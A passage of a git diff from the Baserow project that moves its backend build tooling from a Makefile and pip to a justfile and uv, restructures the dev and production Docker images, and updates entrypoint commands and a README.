Build a dev_deps stage which also has the dev dependencies for use by the dev layer. -FROM base AS dev_deps - -COPY ./backend/requirements/dev.txt /baserow/requirements/ -# hadolint ignore=SC1091,DL3042,DL3013 -RUN --mount=type=cache,mode=777,target=$PIP_CACHE_DIR,uid=$UID,gid=$GID . /baserow/venv/bin/activate \ - && pip3 install --no-cache-dir --upgrade pip setuptools==78.1.1 \ - && pip3 install -r /baserow/requirements/dev.txt - -# The core stage contains all of Baserows source code and sets up the entrypoint -FROM base AS core - -# Copy over backend code. -COPY --chown=$UID:$GID ./docs /baserow/docs -# TODO - This copy also re-copies the requirements above, meaning this will be re-run -# and not cached even though we already have separate layers above. -COPY --chown=$UID:$GID ./backend /baserow/backend -COPY --chown=$UID:$GID ./premium/backend /baserow/premium/backend -COPY --chown=$UID:$GID ./enterprise/backend /baserow/enterprise/backend +RUN getent group $GID || groupadd --system --gid $GID ${DOCKER_USER} && \ + useradd --shell /bin/bash -l -u $UID -g $GID -o -c "" -d /baserow -m ${DOCKER_USER} && \ + echo "${DOCKER_USER} ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/${DOCKER_USER} && \ + chmod 0440 /etc/sudoers.d/${DOCKER_USER} + +COPY --link --from=tool-builder /usr/local/bin/su-exec /usr/local/bin/su-exec +COPY --link --from=tool-builder /usr/bin/tini /usr/bin/tini +COPY --link --from=tool-builder /usr/bin/dos2unix /usr/local/bin/dos2unix + +# Create directory structure to install dependencies +RUN mkdir -p /baserow/backend/docker /baserow/premium/ /baserow/enterprise/ /baserow/media && \ + chown -R $UID:$GID /baserow/ +USER $UID:$GID WORKDIR /baserow/backend -# Ensure that Python outputs everything that's printed inside -# the application rather than buffering it. -ENV PYTHONUNBUFFERED=1 +# Install all dependencies +RUN --mount=type=cache,target=$UV_CACHE_DIR,sharing=locked,uid=$UID,gid=$GID \ + --mount=type=bind,source=LICENSE,target=/baserow/LICENSE \ + --mount=type=bind,source=backend/uv.lock,target=/baserow/backend/uv.lock \ + --mount=type=bind,source=backend/pyproject.toml,target=/baserow/backend/pyproject.toml \ + --mount=type=bind,source=premium/LICENSE,target=/baserow/premium/LICENSE \ + --mount=type=bind,source=premium/backend/pyproject.toml,target=/baserow/premium/backend/pyproject.toml \ + --mount=type=bind,source=enterprise/LICENSE,target=/baserow/enterprise/LICENSE \ + --mount=type=bind,source=enterprise/backend/pyproject.toml,target=/baserow/enterprise/backend/pyproject.toml \ + uv sync --frozen --no-install-workspace --no-install-project + +# Configure tmux to preserve environment variables (don't start login shell) +RUN echo 'set -g default-command "${SHELL}"' > /baserow/.tmux.conf -COPY --chown=$UID:$GID ./deploy/plugins/*.sh /baserow/plugins/ +# Create .bashrc with environment variables for interactive shells +RUN printf '%s\n' \ + '# Aliases' \ + 'alias j="just"' \ + 'alias m="python /baserow/backend/src/baserow/manage.py"' \ + 'alias pytest="python -m pytest"' \ + '' \ + '# Show a helpful message' \ + 'echo "Baserow backend dev container"' \ + 'echo " m - Django manage.py (e.g., m shell_plus)"' \ + 'echo " pytest - Run tests"' \ + 'echo " j - See available commands"' \ + > /baserow/.bashrc -RUN dos2unix /baserow/backend/docker/docker-entrypoint.sh && \ - chmod a+x /baserow/backend/docker/docker-entrypoint.sh && \ - /baserow/venv/bin/pip install --no-cache-dir -e /baserow/backend/ && \ - /baserow/venv/bin/pip install --no-cache-dir -e /baserow/premium/backend/ && \ - /baserow/venv/bin/pip install --no-cache-dir -e /baserow/enterprise/backend/ +COPY --chown=$UID:$GID LICENSE /baserow/LICENSE +COPY --chown=$UID:$GID backend/docker/docker-entrypoint.sh /baserow/backend/docker/docker-entrypoint.sh + +RUN dos2unix /baserow/backend/docker/docker-entrypoint.sh \ + && chmod a+x /baserow/backend/docker/docker-entrypoint.sh HEALTHCHECK --interval=60s CMD ["/bin/bash", "/baserow/backend/docker/docker-entrypoint.sh", "backend-healthcheck"] ENTRYPOINT ["/usr/bin/tini", "--", "/bin/bash", "/baserow/backend/docker/docker-entrypoint.sh"] +CMD ["django-dev"] -FROM core AS dev -COPY --chown=$UID:$GID ./tests /baserow/tests/ +# ============================================================================= +# Production target +# ============================================================================= +FROM python:3.11-slim-bookworm AS local +ARG UID +ARG GID + +ENV POSTGRES_VERSION=15 \ + DOCKER_USER=baserow_docker_user \ + BASEROW_IMAGE_TYPE="backend" \ + UV_PROJECT_ENVIRONMENT=/baserow/venv \ + PYTHONUNBUFFERED=1 \ + PATH="/baserow/venv/bin:$PATH" \ + PYTHONPATH="/baserow/backend/src:/baserow/premium/backend/src:/baserow/enterprise/backend/src" \ + DJANGO_SETTINGS_MODULE='baserow.config.settings.base' -USER root -RUN apt-get update && \ +# Runtime dependencies only - this layer is always cached +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ + --mount=type=cache,target=/var/lib/apt,sharing=locked \ + apt-get update && \ + apt-get upgrade -y && \ apt-get install -y --no-install-recommends \ - graphviz apache2-utils \ - && apt-get autoclean \ - && apt-get clean \ - && apt-get autoremove \ - && rm -rf /var/lib/apt/lists/* -USER $UID:$GID + ca-certificates \ + curl \ + postgresql-client-${POSTGRES_VERSION} \ + xmlsec1 \ + gettext -# Override virtualenv with one containing dev dependencies. -COPY --chown=$UID:$GID --from=dev_deps /baserow/venv /baserow/venv +RUN groupadd --system --gid $GID ${DOCKER_USER} && \ + useradd --shell /bin/bash -l -u $UID -g $GID -o -c "" -d /baserow -m ${DOCKER_USER} -# Override env variables and initial cmd to start up in dev mode. -ENV DJANGO_SETTINGS_MODULE='baserow.config.settings.dev' -CMD ["django-dev"] +# In slim docker images, mime.types is removed and we need it for mimetypes guessing +COPY ./backend/docker/mime.types /etc/ +COPY --link --from=tool-builder /usr/local/bin/su-exec /usr/local/bin/su-exec +COPY --link --from=tool-builder /usr/bin/tini /usr/bin/tini + +RUN mkdir -p /baserow/media && chown -R $UID:$GID /baserow/ + +# Copy the virtual environment with the production dependencies +COPY --link --from=builder-prod /baserow/venv /baserow/venv/ + +COPY --chown=$UID:$GID LICENSE /baserow/LICENSE +COPY --link --from=builder-prod /baserow/backend /baserow/backend/ +COPY --link --from=builder-prod /baserow/premium /baserow/premium/ +COPY --link --from=builder-prod /baserow/enterprise /baserow/enterprise/ + +COPY --chown=$UID:$GID deploy/plugins/*.sh /baserow/plugins/ -FROM core AS local +USER $UID:$GID +WORKDIR /baserow/backend -ENV DJANGO_SETTINGS_MODULE='baserow.config.settings.base' +HEALTHCHECK --interval=60s CMD ["/bin/bash", "/baserow/backend/docker/docker-entrypoint.sh", "backend-healthcheck"] +ENTRYPOINT ["/usr/bin/tini", "--", "/bin/bash", "/baserow/backend/docker/docker-entrypoint.sh"] CMD ["gunicorn"] + +FROM local AS prod + +CMD ["gunicorn"] \ No newline at end of file diff --git a/backend/MANIFEST.in b/backend/MANIFEST.in index 93ecfe6d72..52ec107e9c 100644 --- a/backend/MANIFEST.in +++ b/backend/MANIFEST.in @@ -13,7 +13,7 @@ recursive-include src/ *.py recursive-include templates/ * recursive-include flake8_plugins/ include tests/ -include requirements/*.in requirements/*.txt docker/ email_compiler/ +include docker/ email_compiler/ include README.md include pyproject.toml include MANIFEST.in diff --git a/backend/Makefile b/backend/Makefile deleted file mode 100644 index 310dfa2b6e..0000000000 --- a/backend/Makefile +++ /dev/null @@ -1,272 +0,0 @@ -# optionally include .env files -# you can override variables in .env files -# mind that paths are caclucated from variables are -# relative to this Makefile location --include ../.env .env ../Makefile.local Makefile.local - -ifeq ($(shell uname -s),Darwin) - REALPATH:=grealpath -em -else - REALPATH:=realpath -em -endif -WORKDIR:=$(shell $(REALPATH) $(shell pwd)) -# use PYBIN to customize python interpreter path -PYBIN:=$(shell which python3.11 || which python3 || which python) -VENV_DIR:=$(shell $(REALPATH) -em $(if $(VENV_DIR),$(VENV_DIR),$(WORKDIR)/../venv)) - -# make sure we use one specific shell -SHELL=/bin/bash -# .SHELLFLAGS=-e -VPY:=$(VENV_DIR)/bin/python -VPIP:=$(VENV_DIR)/bin/pip -VPIPC:=$(VENV_DIR)/bin/pip-compile -VFLAKE:=$(VENV_DIR)/bin/flake8 -VBLACK:=$(VENV_DIR)/bin/black -VISORT:=$(VENV_DIR)/bin/isort -VBANDIT:=$(VENV_DIR)/bin/bandit -VDJANGO:=$(VENV_DIR)/bin/django-admin -VPYTEST:=$(VENV_DIR)/bin/pytest -VCOVERAGE:=$(VENV_DIR)/bin/coverage -VBASEROW:=$(VENV_DIR)/bin/baserow -VGUNICORN:=$(VENV_DIR)/bin/gunicorn - -# will be used if no DJANGO_SETTINGS_MODULE is provided -DJANGO_SETTINGS_MODULE:=baserow.config.settings.dev -# ip:port to use when running dev server -RUNSERVER_BIND:=0.0.0.0:8000 - -VENV_TOUCH:=$(VENV_DIR)/bin/activate -DOCKER:=docker -DOCKERC:=docker compose - -PYTEST_SPLITS:=1 -PYTEST_SPLIT_GROUP:=1 -PYTEST_EXTRA_ARGS?= - -SOURCE_DIRS=./ ../premium/backend/ ../enterprise/backend/ -BACKEND_SOURCE_DIRS=src/ ../premium/backend/src/ ../enterprise/backend/src/ -BACKEND_TESTS_DIRS=tests/ ../premium/backend/tests/ ../enterprise/backend/tests/ - -BACKEND_TESTS_DIRS_FROM_ROOT=backend/tests/ premium/backend/tests/ enterprise/backend/tests/ - - -#no-file targets -.PHONY: help venv venv-clean install-oss install install-extra package docker-build package-install\ - clean clean-all package-build package-clean deps deps-clean deps-install deps-install-dev deps-upgrade\ - lint lint-fix lint-python format sort make-translations compile-translations\ - test test-builder test-builder-parallel test-coverage test-parallel test-regenerate-ci-durations\ - ci-test-python ci-check-startup-python ci-coverage-report fix\ - run-dev - - -# This is a first target in the file, will be executed as default if no targets -# are specified. We'll use it to display usage -help: - @echo "make commands available" - @echo " make install - create a venv, install full Baserow package (base + premium/enterprise) in it" - @echo " make venv - create a venv" - @echo " make deps-install - install deps to venv" - @echo " make install-oss - install Baserow OSS version without premium/enterprise" - @echo " make install-extra - install Baserow premium/enterprise only (this still requires install-oss)" - @echo " make lint - run lint/style tools" - @echo " make lint-fix - run lint/style tools and fix the code" - @echo " make package-build - build wheel package" - @echo " make docker-build - build docker image for backend only" - @echo " make clean - remove build artifacts" - @echo " make clean-all - remove build artifacts and venv" - @echo " make deps - update dependencies without upgrade" - @echo " make deps-upgrade - recalculate dependencies with versions upgrade" - @echo " make deps-install - install runtime deps" - @echo " make deps-install-dev - install development deps" - @echo " make run-dev - run development server" - - -# touchfile for venv. If this file is present, the target won't be executed -# (so venv will be created from scratch only if there's no venv/bin/activate). -$(VENV_TOUCH): - $(PYBIN) -m venv $(VENV_DIR) - $(VPIP) install --upgrade pip==24.0 - touch $(VENV_TOUCH) - -# this is a shortcut - use venv as a dependent target elsewhere -venv: $(VENV_TOUCH) - -# install premium/enterprise apps -.install-extra: - $(VPIP) install -e ../premium/backend/ - $(VPIP) install -e ../enterprise/backend/ - - -# install base open-source version -.install-oss: - $(VPIP) install -e . - -# create venv and install base version of BR -install-oss: deps-install-dev .install-oss - -install-extra: deps-install-dev .install-extra - -# install premium/enterprise versions -install: deps-install-dev .install-oss .install-extra - -# build wheel packages -package-build: venv deps-install-dev - $(VPY) -m build . -o dist/ - $(VPY) -m build ../premium/backend/ -o dist/ || true - $(VPY) -m build ../enterprise/backend/ -o dist/ || true - - -package-install: package - for p in $(wildcard dist/*whl); do $(VPIP) install --force-reinstall dist/$${p}; done; - -docker-build: - $(DOCKER) build . - -# rebuild deps for the app. do not upgrade already recorded deps -deps: venv install - $(VPIPC) --no-upgrade requirements/base.in - $(VPIPC) --no-upgrade requirements/dev.in - -# rebuild and upgrade deps -deps-upgrade: venv install - $(VPIPC) requirements/base.in - $(VPIPC) requirements/dev.in - -# install runtime deps -deps-install: venv - # handle gracefull, as not all uses debian-alikes) - (apt-get update && apt-get install -y libpq-dev postgresql-client) || true - $(VPIP) install -r requirements/base.txt - -# install dev deps -deps-install-dev: deps-install - $(VPIP) install -r requirements/dev.txt - -.check-dev: - test -f $(VBASEROW) || $(MAKE) deps-install-dev install - -# run lint check on backend code -lint: .check-dev - $(VFLAKE) $(BACKEND_SOURCE_DIRS) $(BACKEND_TESTS_DIRS) - $(VBLACK) $(BACKEND_SOURCE_DIRS) $(BACKEND_TESTS_DIRS) --check --config=pyproject.toml - $(VISORT) --check --skip generated $(BACKEND_SOURCE_DIRS) $(BACKEND_TESTS_DIRS) - # TODO: make baserow command reading dotenv files - DJANGO_SETTINGS_MODULE=$(DJANGO_SETTINGS_MODULE) $(VBASEROW) makemigrations --dry-run --check - $(VBANDIT) -r --exclude src/baserow/test_utils,src/baserow/config/settings/local.py $(BACKEND_SOURCE_DIRS) - -lint-python: lint - -format: .check-dev - $(VBLACK) --config=pyproject.toml $(BACKEND_SOURCE_DIRS) $(BACKEND_TESTS_DIRS) || exit; - -lint-fix: sort format - -# compatibility with previous convention -fix: lint-fix - -sort: .check-dev - $(VISORT) --skip generated --overwrite-in-place $(BACKEND_SOURCE_DIRS) $(BACKEND_TESTS_DIRS) || exit; - -test: .check-dev - $(VPYTEST) $(BACKEND_TESTS_DIRS) || exit; - -test-diff: .check-dev - $(VPYTEST) $(BACKEND_TESTS_DIRS) --testmon || exit; - -test-coverage: .check-dev - $(VPYTEST) -n 10 --cov-report term --cov-report html:reports/html --cov=src $(BACKEND_TESTS_DIRS) || exit; - -test-builder: .check-dev - $(VPYTEST) tests/baserow/contrib/integrations tests/baserow/contrib/builder || exit - -test-builder-parallel: .check-dev - $(VPYTEST) tests/baserow/contrib/integrations tests/baserow/contrib/builder -n 10 || exit - -test-automation: .check-dev - $(VPYTEST) tests/baserow/contrib/integrations tests/baserow/contrib/automation || exit - -test-automation-parallel: .check-dev - $(VPYTEST) tests/baserow/contrib/integrations tests/baserow/contrib/automation -n 10 || exit - -test-regenerate-ci-durations: .check-dev - $(VPYTEST) $(BACKEND_TESTS_DIRS) --store-durations || exit; - -test-parallel: .check-dev - $(VPYTEST) $(BACKEND_TESTS_DIRS) -n 10 || exit; - -test-diff-parallel: .check-dev - $(VPYTEST) $(BACKEND_TESTS_DIRS) --testmon -n 10 || exit; - -.make-django-cmd: .check-dev - for pkg_dir in $(SOURCE_DIRS); do echo $$pkg_dir ; cd $$pkg_dir ; \ - $(VDJANGO) $(DJANGO_COMMAND) || true ; cd - ;\ - done - -make-translations: DJANGO_COMMAND=makemessages -l en --ignore 'tests/*' -make-translations: .make-django-cmd - - -compile-translations: DJANGO_COMMAND=compilemessages -l en -compile-translations: .make-django-cmd - - -# coverage needs to be executed from repo root -# to match paths in backend/ premium/ and enterprise/ -ci-test-python: .check-dev - mkdir reports/ -p - cd $(WORKDIR)/../ ; COVERAGE_FILE=backend/reports/.coverage.$(PYTEST_SPLIT_GROUP) $(VCOVERAGE) run \ - --rcfile=backend/.coveragerc \ - -m pytest -vv \ - --durations-path=backend/.test_durations \ - --splits $(PYTEST_SPLITS) \ - --group $(PYTEST_SPLIT_GROUP) \ - --junitxml=backend/reports/report.xml \ - $(PYTEST_EXTRA_ARGS) $(BACKEND_TESTS_DIRS_FROM_ROOT); - - -# coverage needs to be executed from repo root -# to match paths in backend/ premium/ and enterprise/ -ci-coverage-report: .check-dev - cd $(WORKDIR)/../ ; cp backend/reports/.coverage.* . ; export COVERAGE_RCFILE=backend/.coveragerc ; \ - $(VCOVERAGE) combine ; \ - $(VCOVERAGE) report ; \ - $(VCOVERAGE) xml -o coverage.xml - - -define check_startup_python - @set -euo pipefail; set -x; \ - BASEROW_OSS_ONLY=$(1) DJANGO_SETTINGS_MODULE=$(DJANGO_SETTINGS_MODULE) $(VDJANGO) check; \ - BASEROW_OSS_ONLY=$(1) DJANGO_SETTINGS_MODULE=$(DJANGO_SETTINGS_MODULE) timeout --preserve-status 10s \ - $(VGUNICORN) --workers=1 -b 0.0.0.0:8002 \ - -k uvicorn.workers.UvicornWorker baserow.config.asgi:application -endef - -ci-check-startup-python: .check-dev - $(call check_startup_python,) - -ci-check-startup-python-oss-only: .check-dev - $(call check_startup_python,true) - - -# clean targets - -# remove wheel packages from build output dir -package-clean: - rm -fr dist/* - - -# remove venv -venv-clean: - rm -fr $(VENV_DIR) - -# clean env and build -clean: package-clean - -clean-all: clean venv-clean - -deps-clean: - rm -f requirements/base.txt - rm -f requirements/base.txt - -run-dev: .check-dev - $(VBASEROW) runserver $(RUNSERVER_BIND) diff --git a/backend/docker/docker-entrypoint.sh b/backend/docker/docker-entrypoint.sh index f6eb813c16..f2cebd3849 100755 --- a/backend/docker/docker-entrypoint.sh +++ b/backend/docker/docker-entrypoint.sh @@ -181,11 +181,10 @@ celery-exportworker-healthcheck : Checks the celery-exportworker health DEV COMMANDS (most will only work in the baserow_backend_dev image): django-dev : Start a normal Baserow backend django development server, performs the same checks and setup as the gunicorn command above. -lint-shell : Run the linting (only available if using dev target) +lint-shell : Run the linting interactively (only available if using dev target) lint : Run the linting and exit (only available if using dev target) -test: : Run the tests (only available if using dev target) -ci-test: : Run the tests for ci including various reports (dev only) -ci-check-startup: Start up a single gunicorn and timeout after 10 seconds for ci (dev) +ci-test : Run the tests for CI with coverage/splits (dev only) +ci-check-startup: Start up a single gunicorn and timeout after 10 seconds for CI (dev) watch-py CMD : Auto reruns the provided CMD whenever python files change install-plugin : Installs a baserow plugin. """ @@ -350,19 +349,19 @@ case "$1" in exec python3 /baserow/backend/src/baserow/manage.py shell ;; lint-shell) - attachable_exec make lint-python + attachable_exec just lint ;; lint) - exec make lint-python + exec just lint ;; ci-test) - exec make ci-test-python PYTEST_SPLITS="${PYTEST_SPLITS:-1}" PYTEST_SPLIT_GROUP="${PYTEST_SPLIT_GROUP:-1}" PYTEST_EXTRA_ARGS="${*:2}" + exec just ci-test --splits "${PYTEST_SPLITS:-1}" --group "${PYTEST_SPLIT_GROUP:-1}" "${@:2}" ;; ci-check-startup) - exec make ci-check-startup-python + exec just ci-check-startup ;; ci-check-startup-oss-only) - exec make ci-check-startup-python-oss-only + exec just ci-check-startup-oss-only ;; celery-worker) if [[ -n "${BASEROW_RUN_MINIMAL}" && $BASEROW_AMOUNT_OF_WORKERS == "1" ]]; then @@ -400,7 +399,11 @@ case "$1" in "startup errors." sleep "$BASEROW_CELERY_BEAT_STARTUP_DELAY" export OTEL_SERVICE_NAME="celery-beat" - exec celery -A baserow beat -l "${BASEROW_CELERY_BEAT_DEBUG_LEVEL}" -S redbeat.RedBeatScheduler "${@:2}" + exec celery -A baserow beat --pidfile=/tmp/celerybeat.pid -l "${BASEROW_CELERY_BEAT_DEBUG_LEVEL}" -S redbeat.RedBeatScheduler "${@:2}" + ;; + celery-beat-healthcheck) + echo "Running celery beat healthcheck..." + exec test -f /tmp/celerybeat.pid && kill -0 $(cat /tmp/celerybeat.pid) || exit 1 ;; celery-flower) exec celery -A baserow flower "$@" diff --git a/backend/email_compiler/README.md b/backend/email_compiler/README.md index 3d7b8fa209..f2f5486481 100644 --- a/backend/email_compiler/README.md +++ b/backend/email_compiler/README.md @@ -1,9 +1,10 @@ ## How to run -`dev.sh` will automatically start `baserowEmailCompiler.js` in watch mode so no need -to run this manually if you are using it, otherwise: +The Docker development environment (`just dc-dev up -d`) automatically starts +`baserowEmailCompiler.js` in watch mode, so no need to run this manually if you +are using it. -In this directory run: -* `yarn install` +For manual compilation, in this directory run: +* `yarn install` * To watch: `yarn run watch` * To compile once and exit: `yarn run compile` diff --git a/backend/justfile b/backend/justfile new file mode 100644 index 0000000000..4b96dfbba7 --- /dev/null +++ b/backend/justfile @@ -0,0 +1,642 @@ +# Baserow Backend Justfile +# NOTE: All recipes here must work the same inside Docker and on local dev setups +# without requiring any changes. Please make sure to not add docker-specific +# commands or assumptions here. +# Uses uv for Python package management + +# Import personal recipes if they exist (not tracked in git) +import? 'local.just' + +# Environment file configuration: +# - .env.local : Local development (recommended, gitignored) +# - .env : Docker/production (used by docker-compose) +# - .env.test : Test environment +# + +# Note: just doesn't support dynamic dotenv-filename, so we handle env loading in recipes + +# Default recipe - show help +default: + @just --list + +# Show documentation links for each command group +[group('0 - help')] +help: + @echo "Baserow Backend - Documentation Links" + @echo "======================================" + @echo "" + @echo "Setup & Development:" + @echo " docs/development/running-the-dev-env-locally.md - Local development setup" + @echo " docs/development/running-the-dev-env-with-docker.md - Docker development setup" + @echo " docs/development/directory-structure.md - Project structure" + @echo "" + @echo "Testing:" + @echo " docs/development/running-tests.md - Running backend tests" + @echo " docs/development/e2e-testing.md - End-to-end testing" + @echo "" + @echo "Code Quality:" + @echo " docs/development/code-quality.md - Linting and formatting" + @echo "" + @echo "CI/CD & Production:" + @echo " docs/development/ci-cd.md - CI/CD pipelines" + @echo " docs/development/building-and-running-production-images.md - Production images" + @echo "" + @echo "IDE Setup:" + @echo " docs/development/vscode-setup.md - VS Code configuration" + @echo " docs/development/intellij-setup.md - IntelliJ/PyCharm setup" + @echo "" + @echo "Other:" + @echo " docs/development/justfile.md - Just command reference" + @echo " docs/development/debugging.md - Debugging tips" + @echo " docs/development/feature-flags.md - Feature flags" + @echo "" + @echo "Quick shortcuts: l=lint, t=test, dev=run-dev-server, m=manage" + +# Allow `just backend ` or `just b ` to work (for consistency with root justfile) +backend *ARGS: + @just {{ ARGS }} + +alias b := backend + +# Common shortcuts +alias l := lint +alias f := fix +alias t := test +alias dev := run-dev-server +alias serve := run-dev-server + +# Variables +python_version := "3.11" + +# Venv location: use UV_PROJECT_ENVIRONMENT if set (e.g., in Docker), otherwise default to project root +venv_dir := env("UV_PROJECT_ENVIRONMENT", justfile_directory() / "../.venv") + +# Export for uv to use +export UV_PROJECT_ENVIRONMENT := venv_dir + +# Use --active to respect VIRTUAL_ENV, since venv may be in parent dir +uv_run := "uv run --active" + +# Repo root (parent of backend/) - clean() normalizes path (removes ..) +repo_root := clean(justfile_directory() / "..") + +# Helper to load .env.local if present and set PYTHONPATH with absolute paths +# Include this at the start of bash recipes that need env vars +_load_env := 'if [ -f "../.env.local" ]; then set -a; source "../.env.local"; set +a; fi; export PYTHONPATH="' + repo_root / 'backend/src:' + repo_root / 'premium/backend/src:' + repo_root / 'enterprise/backend/src:' + repo_root / 'backend/flake8_plugins:' + repo_root / 'backend/tests:' + repo_root / 'premium/backend/tests:' + repo_root / 'enterprise/backend/tests${PYTHONPATH:+:$PYTHONPATH}"' + +# Source directories +backend_source_dirs := "src/ ../premium/backend/src/ ../enterprise/backend/src/" +backend_tests_dirs := "tests/ ../premium/backend/tests/ ../enterprise/backend/tests/" +backend_tests_dirs_from_root := "backend/tests/ premium/backend/tests/ enterprise/backend/tests/" + +# Django settings +django_settings := env("DJANGO_SETTINGS_MODULE", "baserow.config.settings.dev") +export DJANGO_SETTINGS_MODULE := django_settings +runserver_bind := env("RUNSERVER_BIND", "0.0.0.0:8000") + +# Log files for dev servers (used by logs command) +log_file := "/tmp/baserow-backend.log" +celery_log_file := "/tmp/baserow-celery.log" + +# Pytest settings +pytest_splits := env("PYTEST_SPLITS", "1") +pytest_split_group := env("PYTEST_SPLIT_GROUP", "1") +pytest_extra_args := env("PYTEST_EXTRA_ARGS", "") + +# ============================================================================= +# Setup & Installation +# ============================================================================= + +# Initialize: create Python venv with uv, lock deps, and install everything +[group('1 - setup')] +init: _setup-env _create-venv + uv lock + uv sync + @echo "" + @echo "Backend initialized successfully!" + @echo "" + @echo "To activate the virtual environment:" + @echo " source {{ venv_dir }}/bin/activate" + @echo "" + @echo "Or run commands directly with:" + @echo " just run " + @echo " uv run " + +# Copy .env.local.example to .env.local if it doesn't exist (in project root) +_setup-env: + #!/usr/bin/env bash + set -euo pipefail + if [ ! -f ../.env.local ] && [ -f ../.env.local.example ]; then + echo "Creating .env.local from .env.local.example..." + cp ../.env.local.example ../.env.local + echo "Please review and edit .env.local as needed." + fi + +# Print the command to activate the virtual environment +[group('1 - setup')] +activate: + @echo "Run this command to activate the virtual environment:" + @echo "" + @echo " source {{ venv_dir }}/bin/activate" + +# Create Python 3.11 virtual environment with uv +_create-venv: + #!/usr/bin/env bash + set -euo pipefail + if [ ! -d "{{ venv_dir }}" ]; then + echo "Creating Python {{ python_version }} virtual environment..." + uv venv --python {{ python_version }} "{{ venv_dir }}" + else + echo "Virtual environment already exists at {{ venv_dir }}" + fi + +# Install dependencies (includes baserow + premium + enterprise via workspace) +[group('1 - setup')] +install: _create-venv + uv sync + @echo "Baserow installed successfully!" + +# ============================================================================= +# Dependency Management (uv) +# ============================================================================= + +# Run uv commands directly. Examples: +# just uv lock # Generate/update uv.lock +# just uv sync # Install all deps from lockfile +# just uv sync --frozen --no-dev # Install prod deps only +# just uv lock --upgrade # Upgrade all dependencies +# just uv lock --upgrade-package X # Upgrade specific package +# just uv add # Add dependency +# just uv add --dev # Add dev dependency +# just uv remove # Remove dependency +# just uv pip list # List installed packages +# just uv pip show # Show package info +# just uv tree # Show dependency tree +[group('6 - dependencies')] +uv *ARGS: + #!/usr/bin/env bash + set -euo pipefail + if [ -z "{{ ARGS }}" ]; then + echo "Usage: just uv [args...]" + echo "" + echo "Examples:" + echo " just uv lock # Generate/update uv.lock" + echo " just uv sync # Install all deps from lockfile" + echo " just uv sync --frozen --no-dev # Install prod deps only" + echo " just uv lock --upgrade # Upgrade all dependencies" + echo " just uv lock --upgrade-package X # Upgrade specific package" + echo " just uv add # Add dependency" + echo " just uv add --dev # Add dev dependency" + echo " just uv remove # Remove dependency" + echo " just uv pip list # List installed packages" + echo " just uv pip show # Show package info" + echo " just uv tree # Show dependency tree" + exit 0 + fi + uv {{ ARGS }} + +# ============================================================================= +# Code Quality & Linting +# ============================================================================= + +# Run all lint checks +[group('4 - code-quality')] +lint: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ uv_run }} flake8 {{ backend_source_dirs }} {{ backend_tests_dirs }} + {{ uv_run }} black {{ backend_source_dirs }} {{ backend_tests_dirs }} --check --config=pyproject.toml + {{ uv_run }} isort --check --skip generated {{ backend_source_dirs }} {{ backend_tests_dirs }} + DJANGO_SETTINGS_MODULE={{ django_settings }} {{ uv_run }} baserow makemigrations --dry-run --check + {{ uv_run }} bandit -r --exclude src/baserow/test_utils,src/baserow/config/settings/local.py {{ backend_source_dirs }} + + +# Format code with black +[group('4 - code-quality')] +format: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ uv_run }} black --config=pyproject.toml {{ backend_source_dirs }} {{ backend_tests_dirs }} + +# Sort imports with isort +[group('4 - code-quality')] +sort: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ uv_run }} isort --skip generated --overwrite-in-place {{ backend_source_dirs }} {{ backend_tests_dirs }} + +# Fix code style (sort imports + format) +[group('4 - code-quality')] +fix: sort format + +# ============================================================================= +# Testing +# ============================================================================= + +# PYTHONPATH for test fixtures across all test directories +test_pythonpath := "tests:../premium/backend/tests:../enterprise/backend/tests" +_pytest := 'PYTHONPATH="' + test_pythonpath + ':${PYTHONPATH:-}" ' + uv_run + ' pytest' + +# Run tests. Pass -n=auto to run in parallel with pytest-xdist +[group('3 - testing')] +test *ARGS: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ _pytest }} {{ ARGS }} + +# Run tests with coverage report +[group('3 - testing')] +test-coverage: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ _pytest }} -n 10 --cov-report term --cov-report html:reports/html --cov=src {{ backend_tests_dirs }} + +# Run builder tests +[group('3 - testing')] +test-builder: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ _pytest }} tests/baserow/contrib/integrations tests/baserow/contrib/builder + +# Run automation tests +[group('3 - testing')] +test-automation: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ _pytest }} tests/baserow/contrib/integrations tests/baserow/contrib/automation + +# Regenerate CI test durations +[group('3 - testing')] +test-regenerate-ci-durations: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + {{ _pytest }} {{ backend_tests_dirs }} --store-durations + +# ============================================================================= +# CI Commands (used by docker-entrypoint.sh in CI pipelines) +# ============================================================================= + +# Run tests for CI with coverage, splits, and reports +# Usage: just ci-test --splits 8 --group 1 [extra pytest args] +[group('8 - ci')] +ci-test *ARGS: _check-dev + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + + # Parse arguments + SPLITS=1 + GROUP=1 + EXTRA_ARGS="" + args=({{ ARGS }}) + i=0 + while [[ $i -lt ${#args[@]} ]]; do + case "${args[$i]}" in + --splits) SPLITS="${args[$((i+1))]}"; ((i+=2)) ;; + --group) GROUP="${args[$((i+1))]}"; ((i+=2)) ;; + *) EXTRA_ARGS="$EXTRA_ARGS ${args[$i]}"; ((i+=1)) ;; + esac + done + + mkdir -p reports/ + cd .. + COVERAGE_FILE=backend/reports/.coverage.$GROUP \ + {{ uv_run }} coverage run \ + --rcfile=backend/.coveragerc \ + --concurrency=multiprocessing \ + -m pytest -vv \ + -n auto \ + --durations-path=backend/.test_durations \ + --splits $SPLITS \ + --group $GROUP \ + --junitxml=backend/reports/report.xml \ + $EXTRA_ARGS {{ backend_tests_dirs_from_root }} + +# Check Django startup (used in CI) +[group('8 - ci')] +ci-check-startup: _check-dev + #!/usr/bin/env bash + set -euo pipefail + set -x + {{ _load_env }} + {{ uv_run }} python src/baserow/manage.py check + timeout --preserve-status 10s \ + {{ uv_run }} gunicorn --workers=1 -b 0.0.0.0:8002 \ + -k uvicorn.workers.UvicornWorker baserow.config.asgi:application + +# Check Django startup with OSS only (used in CI) +[group('8 - ci')] +ci-check-startup-oss-only: _check-dev + #!/usr/bin/env bash + set -euo pipefail + set -x + {{ _load_env }} + BASEROW_OSS_ONLY=true {{ uv_run }} python src/baserow/manage.py check + 